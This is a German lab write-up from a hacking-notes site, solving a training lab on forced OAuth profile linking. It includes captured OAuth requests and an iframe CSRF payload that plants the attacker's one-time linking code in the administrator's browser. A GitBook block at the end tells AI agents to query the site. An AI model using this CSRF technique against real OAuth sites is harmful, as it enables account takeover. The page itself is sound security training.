> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/oauth-authentication/forced-oauth-profile-linking.md).

# Erzwungene Verknüpfung des OAuth-Profils

### JErzwungene OAuth-Profilverknüpfung

**Beschreibung des Labs**

Dieses Labor bietet eine Funktion, mit der ein Profil eines sozialen Netzwerks mit einem Benutzerkonto verknüpft werden kann, um sich über OAuth statt mit herkömmlicher Authentifizierung zu verbinden. / Aufgrund einer unsicheren Implementierung des OAuth-Streams auf der Client-Seite kann ein Angreifer diesen Mechanismus umleiten, um sein eigenes Social-Network-Profil mit dem Konto eines anderen Benutzers zu verknüpfen.

Ziel:/ Führen Sie einen CSRF-Angriff durch, um Ihr Social-Network-Profil mit dem Konto des Site-Administrators zu verknüpfen, greifen Sie dann auf das Admin-Panel zu und löschen Sie den Benutzer **carlos**.

Einschränkungen :

* Der Administrator öffnet systematisch alle Inhalte, die vom angreifenden Server gesendet werden.
* Der Administrator hat auf der Blog-Site immer eine aktive Sitzung.

**Verfügbare Konten**

* Site-Konto: `wiener / peter`
* Profil des sozialen Netzwerks: `peter.wiener / hotdog`

<figure><img src="/files/5ae60e26e80a0eb80076c57d9fe07aff9799b3c8" alt=""><figcaption></figcaption></figure>

**Analyse des OAuth-Mechanismus**

* Die Site ermöglicht eine klassische Anmeldung mit Benutzername und Passwort.

<figure><img src="/files/355709f5c6962d7725c375e8398b4c1636c9f10c" alt=""><figcaption></figcaption></figure>

Eine Verbindung über OAuth (soziales Netzwerk) ist ebenfalls verfügbar.

<figure><img src="/files/96dc1adf91ba6dc40878a80455231285e82f0dc2" alt=""><figcaption></figcaption></figure>

* Ein bestehender Benutzer kann ein Profil eines sozialen Netzwerks mit seinem Konto verknüpfen.

Während der Verknüpfung wird eine OAuth-Anfrage an den Authentifizierungspunkt gesendet:

{% code overflow="wrap" %}

```http
GET /auth?client_id=s4z8vs36ubaet908r8qfn&redirect_uri=https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Nach der Authentifizierung wird der Benutzer zu einer URL weitergeleitet, die einen OAuth-Code enthält:

```http
GET /oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q HTTP/2
```

Dieser Code:

* Ist nur einmal verwendbar
* Um das OAuth-Profil mit dem aktuell authentifizierten Konto zu verknüpfen

<figure><img src="/files/1561223285fef5acdf7ef9959fdad0614f0aef1d" alt=""><figcaption></figcaption></figure>

**Ausnutzung der Schwachstelle**

1. Starten Sie den Verknüpfungsvorgang zwischen Ihrem Konto und Ihrem Social-Network-Profil.
2. Interceptieren und kopieren Sie die `/OAuth-linking?code=...` URL.

<figure><img src="/files/507b3310262f89ec737423615c32f413f7a9270f" alt=""><figcaption></figcaption></figure>

Verwerfen Sie die Anfrage, damit der Code nicht verbraucht wird.

Senden Sie diese URL vom angreifenden Server aus per CSRF-Angriff an den Administrator, zum Beispiel mithilfe eines iframes

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ac30047040d749984bf3b740088002a.web-security-academy.net/oauth-linking?code=pYNeIWIFHaUh_fmTub7fAYLzcyNAEvDoKMh9iljTU1Q"></iframe>
```

{% endcode %}

Der Administrator lädt die Seite:

<figure><img src="/files/a21643eccf74c5d043af592abe78d744794b7d2a" alt=""><figcaption></figcaption></figure>

OAuth-Code wird verbraucht

<figure><img src="/files/87485f419ca87e411aca5c78a56daa60f1aed360" alt=""><figcaption></figcaption></figure>

Das OAuth-Profil des Angreifers wird mit dem Konto des Administrators verknüpft

<figure><img src="/files/ca8d62f78b6149b210e6c086696c21a728d790ec" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/oauth-authentication/forced-oauth-profile-linking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
